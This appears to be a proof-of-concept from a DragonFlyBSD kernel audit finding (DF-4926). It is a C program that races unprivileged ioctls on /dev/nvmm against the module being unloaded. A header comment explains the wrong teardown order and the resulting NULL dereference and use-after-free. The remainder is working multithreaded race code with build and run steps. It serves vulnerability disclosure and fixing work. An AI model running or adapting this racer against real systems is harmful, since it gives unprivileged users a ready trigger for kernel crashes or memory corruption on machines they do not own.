โฌข DragonFlyBSD Kernel Audit
DF-4926 / nvmm_race.c
โ† back to finding โ†“ download raw
/*
 * DF-4926 racer โ€” unprivileged side of the nvmm kldunload-vs-ioctl race.
 *
 * sys/dev/virtual/nvmm/nvmm_dragonfly.c tears the hypervisor down in the
 * WRONG ORDER on module unload:
 *
 *   nvmm_detach() (nvmm_dragonfly.c:366-374):
 *     :369   if (os_atomic_load_uint(&nmachines) > 0)   <- unsynchronized
 *     :372   nvmm_fini();     <- destroys every machine rwl/mtx
 *                               (lockuninit x 128x128), runs impl->fini()
 *                               (vmx_fini frees VMXON regions/MSR bitmaps),
 *                               and sets nvmm_impl = NULL
 *   nvmm_modevent() MOD_UNLOAD (nvmm_dragonfly.c:399-405):
 *     :402   error = nvmm_detach();
 *     :404   destroy_dev(dev);                          <- TOO LATE
 *
 * Between the nmachines check and nvmm_fini() โ€” and for the whole duration
 * of nvmm_fini(), which destroys locks and NULLs/frees nvmm_impl while the
 * device is still live โ€” any in-flight ioctl on /dev/nvmm dereferences
 * nvmm_impl (NULL) or uses destroyed locks / freed implementation state.
 * destroy_dev(), which is what drains in-flight calls and blocks new ones,
 * only runs AFTER the teardown.  An open fd also keeps the
 * dfbsd_nvmm_dtor() pointer (module text) alive past the unload: closing
 * the fd after a successful unload calls nvmm_kill_machines() in unmapped
 * text.
 *
 * This program (unprivileged, group nvmm):
 *   -c        : 3 threads doing a tight NVMM_IOC_CAPABILITY storm on one
 *               fd (cheapest ioctl; dereferences nvmm_impl on every call:
 *               nvmm.c:245,251) โ€” hits the fini window / NULL impl.
 *   -m        : 1 thread doing tight MACHINE_CREATE/MACHINE_DESTROY churn
 *               โ€” makes nmachines oscillate 0<->1 so an unprivileged user
 *               (not the admin) controls when the EBUSY gate is open.
 *   (default) : both.
 *
 * Build:  cc -O2 -pthread -o nvmm_race nvmm_race.c
 * Run:    ./nvmm_race [-c|-m]      (as the group-nvmm user; needs /dev/nvmm)
 * While it runs, root executes:  kldunload nvmm   (see race_unload.sh)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <dev/virtual/nvmm/nvmm.h>
#include <dev/virtual/nvmm/nvmm_ioctl.h>

static volatile unsigned long ncap, ncreate, ndestroy;
static volatile int stop;

static void *
cap_thread(void *arg)
{
	struct nvmm_ioc_capability args;
	int fd = *(int *)arg;

	while (!stop) {
		if (ioctl(fd, NVMM_IOC_CAPABILITY, &args) == 0)
			ncap++;
	}
	return NULL;
}

static void *
churn_thread(void *arg)
{
	struct nvmm_ioc_machine_create mc;
	struct nvmm_ioc_machine_destroy md;
	int fd = *(int *)arg;

	while (!stop) {
		memset(&mc, 0, sizeof(mc));
		if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc) == 0) {
			ncreate++;
			memset(&md, 0, sizeof(md));
			md.machid = mc.machid;
			if (ioctl(fd, NVMM_IOC_MACHINE_DESTROY, &md) == 0)
				ndestroy++;
		}
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t th[4];
	int fd, i, mode = 0;	/* 0=both, 1=cap only, 2=churn only */

	if (argc > 1 && strcmp(argv[1], "-c") == 0)
		mode = 1;
	if (argc > 1 && strcmp(argv[1], "-m") == 0)
		mode = 2;

	fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC);
	if (fd < 0) {
		fprintf(stderr, "open /dev/nvmm: %s\n", strerror(errno));
		return 1;
	}
	printf("DF-4926 racer: fd=%d mode=%s (uid=%d)\n",
	    fd, mode == 1 ? "capability-storm" : mode == 2 ? "machine-churn" :
	    "combined", getuid());
	fflush(stdout);

	if (mode != 2) {
		for (i = 0; i < 3; i++)
			pthread_create(&th[i], NULL, cap_thread, &fd);
	}
	if (mode != 1)
		pthread_create(&th[3], NULL, churn_thread, &fd);

	alarm(75);
	for (i = 0; i < 60; i++) {
		sleep(1);
		printf("t=%2ds cap=%lu create=%lu destroy=%lu\n", i + 1,
		    ncap, ncreate, ndestroy);
		fflush(stdout);
	}
	stop = 1;
	sleep(1);
	/* fd left to exit(): if the module was unloaded under us, the close
	 * runs dfbsd_nvmm_dtor -> nvmm_kill_machines in unmapped text. */
	printf("DF-4926 racer exiting (fd close now)\n");
	return 0;
}